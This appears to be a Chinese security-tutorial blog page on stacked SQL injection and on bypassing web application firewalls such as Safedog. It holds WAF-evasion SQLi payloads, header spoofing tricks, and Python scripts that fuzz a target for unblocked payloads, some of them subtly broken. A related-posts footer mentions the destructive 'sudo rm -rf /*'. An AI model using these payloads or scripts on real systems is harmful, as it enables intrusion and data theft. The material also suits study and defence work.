堆叠查询注入 (双查询注入)

stacked injections(堆叠注入)从名词的含义就可以看到是一堆的SQL语句一起执行,而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句加;表示语句结束。这样                              子我们就想到了可以不可以多句一起使用,这个叫做stacked injection
只有mysql可以堆叠注入,重添加一个管理员账户 具体添加将新增加的用户加入管理员组 **phpstudy + safedog安装找不到服务问题**

市面上常见的waf产品列表 - wafw00f

  阿里云盾,安全狗,阿里云盾
遇到WAF先手测,工具一扫就会封IP。
测试绕过就是研究哪方面没有进行过滤 提交方式绕过WAF,前提支持各种方式的接受 (等价函数,特殊函数):既需要绕过匹配规则,还要不干扰语句的运行结果。 反序列化的格式进行绕过,注释符混用 %0a换行 %23注释#

部分bypass sqlinject payload

特殊符号,换行绕狗子
id = 1 union %23a%0A select 1,2,3 #
匹配到union然后注释,安全认为句子结束, union a select 狗子不会拦截
union #a 写#屏蔽a,换行让union select执行
select 1,2,3 # 注释符混用,参数污染绕狗子 参数污染只接受后面的,?id=1/**&id=-1 unio select 1,2,3 #*/ /***/ SQL里面的注释符
1/**&id=-1 unio select 1,2,3 #*/ 狗子接收的
-1 unio select 1,2,3 #*/ 执行的语句 (内联注释)
狗子匹配第一条,其中的注释符号起到注释作用,正常情况没法执行,安全狗直接忽略,
参数污染导致的真实数据是执行的语句,能够正常执行SQL语句 fuzz模糊测试,类似爆破密码。某个点生成字典,不断测试。写好脚本和字典批量化进行测试
import request
import time url = 'http://1.1.1.1/sqli-labs/less2/?id=1'
for sqlin in open('uniobselect.txt')
urls = url + sqlin
result = requests.get(urls).text
if (result.find('safedog')==-1):
print(sqlin)
time.sleep(-1) 堆叠注入详解:https://www.cnblogs.com/backlion/p/9721687.html

应用层

	大小写/关键字替换
id=1 UnIoN/**/SeLeCT 1,user()
hex() bin() 等价于ascii
sleep()等价于benchmark()
Mid()substring() 等价于 substr()
@@user() 等价于User()
@@version等价于version()
各种编码:
大小写,URL,hex,%0A等
注释使用:
// -- --+ # /**/ + :%00 /!**/等
再次循环
union==uunionnion
等价替换:
user()=@@user() and=& or=| ascii=hex等
参数污染:
?id=1&id=2&id=3
编码及解码:
s->%73->%25%37%33
更改请求提交方式:
GET,POST,COOKIE
POST->multipart/from-data 中间件参数污染

数据库特性:

1.mysql技巧

		(1)mysql注释有三种,#,/*...*/,-- ... (--后加空格)
(2)空格符:0x9a,0x0a-0x0d,0x20,0xa0
(3)特殊符号 0a%换行符
可结合注释符使用 %23%0a,%2d%2d%0a
(4)内联注释
/*! union12345select*/ 1,user() //数字范围1000-50540
(5)mysql黑语法
select {x username} from {x11 test.admin};

2.sqlsever

		 (1)用来注释掉后查询的其余部分
/* c语言风格注释
-- sql注释
;00%空字节
(2)空白符:[0x01-0x20]
(3)特殊符号:%3a 冒号
id = 1 union:select 1,2 from:admin
(4)函数变型:如db_name [空白字符]()

3.oracle技巧

		(1) 注释符:--,/**/
(2) 空白字符:[0x00,0x09,0x0a-0x0d,0x20] 4.配合fuzz
select * from admin where id=1 [位置一] union [位置二] select [位置三] 1,2,db_name() [位置四] from [位置五] admin

逻辑层

			(1)云waf防护,一般我们会尝试查找真实站点的真实ip,从而绕过CDN防护
(2)当提交,GET,POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可尝试bypass,
(3)http和https同时开放服务,没有做http到https的强制跳转,导致https有waf防护,http没有防护,直接访问http站点绕过防护
(4)特殊符号%00,部分waf遇到%00截断,只能获取到前面的参数,无法获取到后面的有害输入,从而导致bypass
比如:id=1%00and 1=2 union select 1,2,column_name from imformation_schema.columns

白名单

方式一:ip白名单

			从网络层获取来的ip,是无法伪造的,如果获取客户端的ip,这样就可能存在伪造ip绕过的情况。

			测试方法:
修改http的header来bypass waf
x-forwarded-for
x-remote-ip
x-originating-ip
x-remote-addr
x-real-ip

方式二:静态资源

				特定的后缀资源静态请求,常见的静态文件,(.js  .jpg  .swf  .css 等),类似白名单机制,
waf为了检测效率,不去检测这样一些静态文件后缀的请求。

方式三:url白名单

				为了防止误拦截,部分waf内置默认的白名单列表,如admin/manager/system等管理后台。只要url中存在的白名单的字符,就作为白名单不检测。

方式四:爬虫白名单

				部分waf对爬虫结果会忽略,waf如果识别出了搜索引擎来爬虫,waf就会放行

					import json
import request url = 'http://1.1.1.1:8080'
head={
'user-agent':'mozilla/5.0(compatible;badiduspider-render/2.0;)'
}
for data in open("php.txt"):
data = data.replace('\n','')
urls=url+data
code=requests.get(urls,headers=head).status_code
print(urls+'|'+str(code))

十八:SQL注入之堆叠及绕WAF的更多相关文章

  1. SQL注入之堆叠注入(堆查询注入)

    Stached injection -- 堆叠注入 0x00 堆叠注入的定义 ​ Stacked injection 汉语翻译过来后,称 为堆查询注入,也有称之为堆叠注入.堆叠注入为攻击者提供了很多的 ...

  2. sql注入之堆叠注入及waf绕过注入

    #堆叠查询注入 1.堆叠查询概念 stacked injections(堆叠查询注入)从名词的含义就可以看出一应该是一堆(多条)sql语句一起执行.而在真实运用中也是如此,我们知道在mysql中,主要 ...

  3. sql注入100种姿势过waf(二):过安全狗

    仅供学习交流如果你有更好的思路可以一起分享,想一起学习的进我主页 先去安全狗网站下载最新的安全狗版本 从官网下载 windwos apache版 v4.0.2395  最新版   数据库是mysql ...

  4. sql注入100种姿势过waf(一):waf 了解

    仅供学习交流如果你有更好的思路可以一起分享,想一起学习的进我主页 首先WAF(Web Application Firewall),俗称Web应用防火墙,主要的目的实际上是用来过滤不正常或者恶意请求包, ...

  5. SQL注入原理及代码分析(二)

    前言 上一篇文章中,对union注入.报错注入.布尔盲注等进行了分析,接下来这篇文章,会对堆叠注入.宽字节注入.cookie注入等进行分析.第一篇文章地址:SQL注入原理及代码分析(一) 如果想要了解 ...

  6. SQL注入绕过waf的一万种姿势

      绕过waf分类: 白盒绕过: 针对代码审计,有的waf采用代码的方式,编写过滤函数,如下blacklist()函数所示: 1 ........ 2 3 $id=$_GET['id']; 4 5 $ ...

  7. SQL注入之Sqli-labs系列第三十八关、第三十九关,第四十关(堆叠注入)

    0x1 堆叠注入讲解 (1)前言 国内有的称为堆查询注入,也有称之为堆叠注入.个人认为称之为堆叠注入更为准确.堆叠注入为攻击者提供了很多的攻击手段,通过添加一个新 的查询或者终止查询,可以达到修改数据 ...

  8. SQL注入之Sqli-labs系列第四十七关,第四十八关,第四十九关(ORDER BY注入)

    0x1 源码区别点 将id变为字符型:$sql = "SELECT * FROM users ORDER BY '$id'"; 0x2实例测试 (1)and rand相结合的方式 ...

  9. SQL注入之Sqli-labs系列第十八关(基于错误的用户代理,头部POST注入)

    开始挑战第十八关(Header Injection - Uagent field - Error based) 常见的HTTP注入点产生位置为[Referer].[X-Forwarded-For].[ ...

随机推荐

  1. 排序算法-Java实现快速排序算法

  2. sudo rm -rf /*含义

    sudo -----  管理员权限 rm ------ remove 移除 rf ------ recursive递归  force强制 /* ------ 目录下所有文档

  3. geoserver的demo使用过程

    先贴一个效果图,使用的geoserver版本2.18.0,需要对应版本插件netcdf插件[Extensions>Coverage Formats>NetCDF],使用tomcat8进行发 ...

  4. 使用IDEA搭建SpringBoot进行增删改查

    功能环境:java1.8以上  .IntellJIDEA  First: 创建项目,请根据项目图一步一步完成建立. 二.配置数据库 三.创建实体对象建表或对应存在表,根据需要加入相应注解 四.创建应用 ...

  5. Eclipse设置自动提示

    Eclipse设置自动提示可通过以下方式实现, 1.运行Eclipse开发工具,在开发工具最顶端菜单栏,点击"windows"->"preferences" ...

  6. [日常摸鱼]bzoj1257余数之和

    题意:输入$k,n$,求$\sum_{i=1}^n k \mod i$ $k \mod i=k-i*\lfloor \frac{k}{i} \rfloor $,$n$个$k$直接求和,后面那个东西像比 ...

  7. Python学习之多项式回归

    本文的文字及图片来源于网络,仅供学习.交流使用,不具有任何商业用途,如有问题请及时联系我们以作处理 线性回归的改进版本中的多项式回归.如果您知道线性回归,那么对您来说很简单.如果没有,我将在本文中解释 ...

  8. MVC中使用T4模板

    参考博文 http://www.cnblogs.com/heyuquan/archive/2012/07/26/2610959.html 图片释义 1.简单示例,对基本的模块标记 2.根据上图生成的类 ...

  9. 【命令】set命令

    1.查看所有的本地变量和环境变量. 2.检测变量是否定义: 开启检测功能: set -u  关闭检测功能:   set +u [root@localhost likui]# unset mm 删除了m ...

  10. 国产的开源数据库——GitHub 热点速览 Vol.52

    作者:HelloGitHub-小鱼干 本以为本周的 GitHub 和十二月一样平平无奇就那么度过了,结果 BackgroundMattingV2 重新刷新了本人的认知,还能这种骚操作在线实时抠视频去背 ...